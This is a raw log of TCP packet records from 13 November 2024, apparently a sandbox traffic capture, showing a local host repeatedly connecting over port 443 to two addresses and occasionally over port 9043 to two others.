Nov 13, 2024 18:21:05.420830011 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:21:34.596707106 CET	49988	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:34.596745014 CET	443	49988	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:34.596878052 CET	49988	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:34.597105026 CET	49988	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:34.597116947 CET	443	49988	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:35.289212942 CET	443	49988	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:35.289352894 CET	49988	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:35.320858002 CET	49988	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:35.320869923 CET	443	49988	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:35.321099043 CET	443	49988	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:35.321217060 CET	49988	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:35.325433016 CET	49988	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:35.367322922 CET	443	49988	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:35.818970919 CET	443	49988	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:35.819050074 CET	49988	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:35.819056988 CET	443	49988	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:35.819204092 CET	49988	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:35.824327946 CET	49988	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:35.824357033 CET	443	49988	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:35.858155966 CET	49989	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:35.858198881 CET	443	49989	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:35.858269930 CET	49989	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:35.858516932 CET	49989	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:35.858530998 CET	443	49989	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:36.742228031 CET	443	49989	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:36.742311954 CET	49989	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:36.745068073 CET	49989	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:36.745075941 CET	443	49989	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:36.745296001 CET	443	49989	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:36.745342970 CET	49989	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:36.745624065 CET	49989	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:36.787322998 CET	443	49989	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:37.521270037 CET	443	49989	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:37.521352053 CET	49989	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:37.521363974 CET	443	49989	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:37.521374941 CET	443	49989	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:37.521450043 CET	49989	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:37.530391932 CET	49989	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:37.530405998 CET	443	49989	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:38.413924932 CET	49990	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:38.413960934 CET	443	49990	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:38.416524887 CET	49990	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:38.416840076 CET	49990	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:38.416851997 CET	443	49990	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:39.299232960 CET	443	49990	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:39.299333096 CET	49990	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:39.300765991 CET	49990	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:39.300765991 CET	49990	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:39.300789118 CET	443	49990	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:39.300800085 CET	443	49990	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:40.026766062 CET	443	49990	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:40.026833057 CET	49990	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:40.026845932 CET	443	49990	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:40.026884079 CET	49990	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:40.026889086 CET	443	49990	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:40.026913881 CET	443	49990	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:40.026923895 CET	49990	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:40.026946068 CET	49990	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:40.032001019 CET	49990	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:40.032023907 CET	443	49990	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:40.051101923 CET	49991	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:40.051150084 CET	443	49991	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:40.051275015 CET	49991	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:40.051512003 CET	49991	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:40.051527977 CET	443	49991	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:40.077202082 CET	9043	49710	45.143.166.230	192.168.2.6
Nov 13, 2024 18:21:40.077306032 CET	49710	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:21:40.716434956 CET	443	49991	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:40.716650963 CET	49991	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:40.717036963 CET	49991	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:40.717050076 CET	443	49991	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:40.718137980 CET	49991	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:40.718151093 CET	443	49991	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:41.098921061 CET	443	49991	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:41.099004984 CET	443	49991	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:41.099056005 CET	49991	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:41.105921030 CET	49991	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:41.189357042 CET	49991	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:41.189383030 CET	443	49991	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:41.324826002 CET	49992	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:41.324892044 CET	443	49992	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:41.325067043 CET	49992	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:41.325948000 CET	49992	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:41.325968027 CET	443	49992	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:42.395092964 CET	443	49992	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:42.395163059 CET	49992	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:42.395586014 CET	49992	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:42.395601034 CET	443	49992	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:42.396879911 CET	49992	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:42.396886110 CET	443	49992	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:42.412863970 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:21:42.412935972 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:21:42.661676884 CET	443	49992	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:42.661767960 CET	443	49992	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:42.661926031 CET	49992	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:42.662132025 CET	49992	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:42.662156105 CET	443	49992	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:42.666662931 CET	49993	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:42.666712999 CET	443	49993	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:42.666836977 CET	49993	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:42.667087078 CET	49993	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:42.667100906 CET	443	49993	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:43.584212065 CET	443	49993	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:43.584275961 CET	49993	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:43.584667921 CET	49993	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:43.584676981 CET	443	49993	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:43.585704088 CET	49993	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:43.585709095 CET	443	49993	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:44.407830000 CET	443	49993	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:44.407923937 CET	443	49993	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:44.408020020 CET	49993	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:44.408020020 CET	49993	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:44.408327103 CET	49993	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:44.408371925 CET	443	49993	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:44.424628019 CET	49994	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:44.424666882 CET	443	49994	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:44.424736023 CET	49994	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:44.424957991 CET	49994	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:44.424971104 CET	443	49994	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:45.442943096 CET	443	49994	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:45.443243980 CET	49994	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:45.443721056 CET	49994	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:45.443731070 CET	443	49994	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:45.444792032 CET	49994	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:45.444797039 CET	443	49994	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:46.241960049 CET	443	49994	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:46.242058992 CET	443	49994	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:46.242139101 CET	49994	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:46.331053972 CET	49994	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:46.331110001 CET	443	49994	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:46.478857040 CET	49995	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:46.478914976 CET	443	49995	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:46.478991985 CET	49995	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:46.479269028 CET	49995	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:46.479284048 CET	443	49995	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:47.397777081 CET	443	49995	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:47.397877932 CET	49995	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:47.398204088 CET	49995	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:47.398215055 CET	443	49995	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:47.399147987 CET	49995	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:47.399152994 CET	443	49995	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:47.946233988 CET	443	49995	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:47.946444035 CET	49995	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:47.946475983 CET	443	49995	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:47.946559906 CET	49995	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:47.946692944 CET	49995	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:47.946739912 CET	443	49995	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:47.954269886 CET	49996	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:47.954343081 CET	443	49996	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:47.955475092 CET	49996	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:47.955660105 CET	49996	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:47.955674887 CET	443	49996	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:48.622814894 CET	443	49996	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:48.622875929 CET	49996	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:48.623291016 CET	49996	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:48.623303890 CET	443	49996	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:48.624423027 CET	49996	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:48.624429941 CET	443	49996	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:49.027348042 CET	443	49996	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:49.027609110 CET	443	49996	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:49.027676105 CET	49996	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:49.070076942 CET	49996	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:49.070100069 CET	443	49996	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:49.107549906 CET	49997	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:49.107592106 CET	443	49997	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:49.108093023 CET	49997	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:49.108093023 CET	49997	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:49.108133078 CET	443	49997	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:50.027394056 CET	443	49997	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:50.027585983 CET	49997	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:50.027991056 CET	49997	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:50.027997971 CET	443	49997	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:50.029105902 CET	49997	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:50.029119015 CET	443	49997	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:50.847740889 CET	443	49997	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:50.847861052 CET	443	49997	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:50.848263025 CET	49997	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:50.848263025 CET	49997	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:50.848263025 CET	49997	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:50.863998890 CET	49998	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:50.864049911 CET	443	49998	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:50.864119053 CET	49998	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:50.864464045 CET	49998	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:50.864474058 CET	443	49998	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:51.153908968 CET	49997	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:51.153949022 CET	443	49997	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:51.751579046 CET	443	49998	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:51.751655102 CET	49998	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:51.752229929 CET	49998	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:51.752239943 CET	443	49998	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:51.753473997 CET	49998	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:51.753479004 CET	443	49998	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:52.459070921 CET	443	49998	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:52.459151983 CET	443	49998	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:52.459186077 CET	49998	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:52.459243059 CET	49998	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:52.459593058 CET	49998	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:52.459614038 CET	443	49998	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:52.465210915 CET	49999	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:52.465250015 CET	443	49999	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:52.465351105 CET	49999	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:52.465554953 CET	49999	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:52.465565920 CET	443	49999	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:54.029295921 CET	49999	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:54.109589100 CET	50000	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:54.109702110 CET	443	50000	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:54.109777927 CET	50000	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:54.110397100 CET	50000	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:54.110430002 CET	443	50000	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:55.239062071 CET	443	50000	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:55.239146948 CET	50000	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:55.239593029 CET	50000	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:55.239603996 CET	443	50000	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:55.240689993 CET	50000	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:55.240695000 CET	443	50000	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:55.976013899 CET	443	50000	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:55.976109982 CET	50000	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:55.976141930 CET	443	50000	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:55.976227999 CET	50000	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:55.976234913 CET	443	50000	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:55.976262093 CET	443	50000	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:55.976274967 CET	50000	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:55.976311922 CET	50000	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:55.976519108 CET	50000	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:55.976536989 CET	443	50000	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:55.981641054 CET	50001	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:55.981683969 CET	443	50001	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:55.981769085 CET	50001	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:55.982095957 CET	50001	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:55.982109070 CET	443	50001	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:56.848208904 CET	443	50001	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:56.848284960 CET	50001	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:56.850940943 CET	50001	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:56.850965023 CET	443	50001	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:56.851388931 CET	443	50001	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:56.851449013 CET	50001	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:56.851763010 CET	50001	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:56.895374060 CET	443	50001	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:57.511626005 CET	443	50001	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:57.511717081 CET	443	50001	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:57.511835098 CET	50001	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:57.511835098 CET	50001	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:57.512258053 CET	50001	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:57.512281895 CET	443	50001	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:57.533061981 CET	50003	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:57.533174992 CET	443	50003	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:57.533423901 CET	50003	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:57.533626080 CET	50003	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:57.533652067 CET	443	50003	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:57.698237896 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:21:57.698503017 CET	49710	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:21:57.703218937 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:21:57.703381062 CET	9043	49710	45.143.166.230	192.168.2.6
Nov 13, 2024 18:21:58.482774019 CET	443	50003	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:58.482923985 CET	50003	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:58.483361006 CET	50003	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:58.483369112 CET	443	50003	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:58.484718084 CET	50003	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:58.484723091 CET	443	50003	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:59.253602028 CET	443	50003	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:59.253676891 CET	443	50003	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:59.253774881 CET	50003	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:59.253774881 CET	50003	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:59.254434109 CET	50003	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:21:59.254482031 CET	443	50003	104.21.92.105	192.168.2.6
Nov 13, 2024 18:21:59.307492971 CET	50004	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:59.307553053 CET	443	50004	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:59.307667971 CET	50004	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:59.307919979 CET	50004	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:59.307934046 CET	443	50004	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:59.983897924 CET	443	50004	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:59.983990908 CET	50004	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:59.984450102 CET	50004	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:59.984458923 CET	443	50004	104.21.15.162	192.168.2.6
Nov 13, 2024 18:21:59.985467911 CET	50004	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:21:59.985474110 CET	443	50004	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:00.256258965 CET	443	50004	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:00.256330967 CET	50004	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:00.256345034 CET	443	50004	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:00.256355047 CET	443	50004	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:00.256391048 CET	50004	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:00.256403923 CET	50004	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:00.256669998 CET	50004	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:00.256690025 CET	443	50004	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:00.267164946 CET	50005	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:00.267219067 CET	443	50005	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:00.267330885 CET	50005	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:00.268300056 CET	50005	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:00.268316984 CET	443	50005	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:00.966500044 CET	443	50005	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:00.966574907 CET	50005	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:00.967072964 CET	50005	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:00.967087030 CET	443	50005	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:00.968477964 CET	50005	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:00.968483925 CET	443	50005	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:01.239119053 CET	443	50005	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:01.239195108 CET	50005	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:01.239227057 CET	443	50005	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:01.239238977 CET	443	50005	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:01.239278078 CET	50005	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:01.239291906 CET	50005	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:01.239595890 CET	50005	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:01.239614964 CET	443	50005	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:01.245536089 CET	50006	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:01.245611906 CET	443	50006	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:01.245908022 CET	50006	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:01.245908022 CET	50006	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:01.245965004 CET	443	50006	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:01.860471964 CET	443	50006	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:01.861078978 CET	50006	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:01.868972063 CET	50006	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:01.868993998 CET	443	50006	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:01.880647898 CET	50006	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:01.880665064 CET	443	50006	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:02.288259983 CET	443	50006	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:02.288366079 CET	50006	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:02.289285898 CET	443	50006	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:02.289375067 CET	50006	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:02.289391994 CET	443	50006	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:02.289459944 CET	443	50006	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:02.289644003 CET	50006	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:02.289822102 CET	50006	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:02.289841890 CET	443	50006	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:02.299367905 CET	50007	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:02.299477100 CET	443	50007	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:02.299807072 CET	50007	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:02.300098896 CET	50007	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:02.300128937 CET	443	50007	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:02.912302971 CET	443	50007	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:02.912370920 CET	50007	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:02.912755013 CET	50007	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:02.912764072 CET	443	50007	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:02.913716078 CET	50007	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:02.913722992 CET	443	50007	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:03.397030115 CET	443	50007	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:03.397079945 CET	50007	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:03.397089958 CET	443	50007	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:03.397099972 CET	443	50007	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:03.397134066 CET	50007	443	192.168.2.6	104.21.92.105
